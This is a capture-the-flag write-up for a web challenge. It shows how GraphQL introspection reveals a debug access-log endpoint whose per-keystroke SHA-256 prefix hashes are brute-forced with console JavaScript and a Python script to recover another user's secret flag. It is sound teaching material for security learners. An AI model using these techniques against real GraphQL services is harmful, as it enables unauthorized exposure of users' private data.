# Confessions
## Task
Categories: web
Difficulty: easy
Someone confessed their dirtiest secret on this new website: https://confessions.flu.xxxCan you find out what it is?
## Solution
We can enter a title and message to confess. We can publish this message. We have a preview that shows us the hash of the message and the message itself.
Looking at the source code of the page we find the javascript.
On input it uses a GraphQL endpoint to fetch the information.
```javascriptconst gql = async (query, variables={}) => {    let response = await fetch('/graphql', {        method: 'POST',        headers: {            'content-type': 'application/json',        },        body: JSON.stringify({            operationName: null,            query,            variables,        }),    });    let json = await response.json();    if (json.errors && json.errors.length) {        throw json.errors;    } else {        return json.data;    }};```
There is an example call:
```javascriptgql('mutation Q($id: String) { confessionWithMessage(id: $id) { title, hash, message } }', { id });```
I never used GraphQL before so the first thing I did was finding out how to - not limit the query to a specific hash or id (didn't work) - view the structure of the stored data
 So I found this: https://graphql.org/learn/introspection/
 Using `{ __schema { types { name fields { name description } } } }` with `gql` in the developer console reveals some interesting information: - There is a `Confession` and `Access` type - The `Query` type has an additional `accessLog` field with the description `Show the resolver access log. TODO: remove before production release` - The `Access` type has `timestamp` `name` and `args` fields
 Let's query the `accessLog`:
 ```javascript var data = await gql('{ accessLog { timestamp name args } }', {  }); data.accessLog.forEach(x => console.log(x)); ```
 We see that all important information is redacted. Let's filter out the hashes:
 ```javascript var hashes = new Set(data.accessLog.map(x => JSON.parse(x.args).hash).filter(x => x)); hashes.forEach(hash => gql('query Q($hash: String) { confession(hash: $hash) { id, title, hash } }', { hash }).then(d => console.log(d.confession))); ```
 We see that `id` is always null. We also see that there are multiple entries with the title flag and a hash, our own tests are also visible. We didn't publish a single one, but there are multiple entries. While we were typing the hash was constantly changing.
 Maybe the first hash is the hash of the first char, the second hash with two chars and so on. Let's verify that real quick:
 ```python>>> from hashlib import sha256>>> alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-">>> for c in alphabet:...   if sha256(c.encode("utf-8")).hexdigest() == "252f10c83610ebca1a059c0bae8255eba2f95be4d1d7bcfa89d7248a82d9f111":...     print(c)f ```
 Okay, let's write a script to do the work for us and bruteforce the flag.
 First, extract all hashes:
 ```javascriptvar out = [];for (let hash of hashes) {  let data = await gql('query Q($hash: String) { confession(hash: $hash) { id, title, hash } }', { hash });  if (data.confession.title === "Flag") {    out[out.length] = data.confession.hash;  }};// wait some timeconsole.log(out);```
Now we can export that to python and write a script:
```pythonfrom hashlib import sha256
hashes = ["252f10c83610ebca1a059c0bae8255eba2f95be4d1d7bcfa89d7248a82d9f111","593f2d04aab251f60c9e4b8bbc1e05a34e920980ec08351a18459b2bc7dbf2f6","c310f60bb9f3c59c43c73ff8c7af10268de81d4f787eb04e443bbc4aaf5ecb83","807d0fbcae7c4b20518d4d85664f6820aafdf936104122c5073e7744c46c4b87","0577f6995695564dbf3e17ef36bf02ee73ba10ab300caf751315615e0fc6dd37","9271dd87ec1a208d1a6b25f8c4e3b21e36c75c02b62fafc48cf1327bac220e48","95f5e39cb28767940602ce3241def53c42d399ae1daf086c9b3863d50a640a81","62663931ff47a4c77e88916d96cad247f6e2c352a628021a1b60690d88625d75","5534607d1f4ee755bc11d75d082147803841bc3959de77d6159fca79a637ac77","52a88481cc6123cc10f4abb55a0a77bf96d286f457f6d7c3088aaf286c881b76","7ffcb9b3a723070230441d3c7aee14528ca23d46764c78365f5fdf24d0cdef53","532e4cecd0320ccb0a634956598c900170bd5c6f1f22941938180fe719b61d37","a4b24c8f4f14444005c7023e9d2f75199201910af98aaef621dc01cb6e63f1d1","1092c20127f3231234eadf0dd5bee65b5f48ffbdc94e5bf928e3605781a8c0d1","1e261929cc13a0e9ecf66d3e6508c14b79c305fa10768b232088e6c2bfb3efa3","0bb629dfb5bf8a50ef20cfff123756005b32a6e0db1486bd1a05b4a7ddfd16c7","0141c897af69e82bc9fde85a4c99b6e693f6eb390b9abdeda4a34953f82efa4b","c20ee107ba4d41370cc354bb4662f3efb6b7c14e7b652394aaa1ad0341e4a1c9","d6b977c1deb6179c7b9ac11fb2ce231b100cf1891a1102d02d8f7fbea057b8a0","fb7dc9b1be6477cea0e23fdc157ff6b67ce075b70453e55bb22a6542255093f1","70b652dad63cabed8241c43ba5879cc6d509076f778610098a20154eb8ac1b89","26f4fc4aba06942e5e9c5935d78da3512907fe666e1f1f186cf79ac14b82fcad","c31c26dbbcf2e7c21223c9f80822c6b8f413e43a2e95797e8b58763605aaca0d","eb992e46fb842592270cd9d932ba6350841966480c6de55985725bbf714a861d","c21af990b2bd859d99cfd24330c859a4c1ae2f13b0722962ae320a460c5e0468","ebf2b799b6bf20653927092dae99a6b0fc0094abc706ca1dce66c5d154b4542d","07a272d52750c9ab31588402d5fb8954e3e5174fcab9291e835859a5f8f34cf9","5a047cba5d6e0cf62d2618149290180e1476106d71bd9fdb7b1f0c41437c2ff5"]
chars = [chr(i).encode("utf-8") for i in range(256)]solve = b''
for hash in hashes:  for char in chars:    if sha256(solve + char).hexdigest() == hash:      solve += char
print(solve.decode("utf-8"))```
Running it:
```bash$ python solve.pyflag{but_pls_d0nt_t3ll_any1}```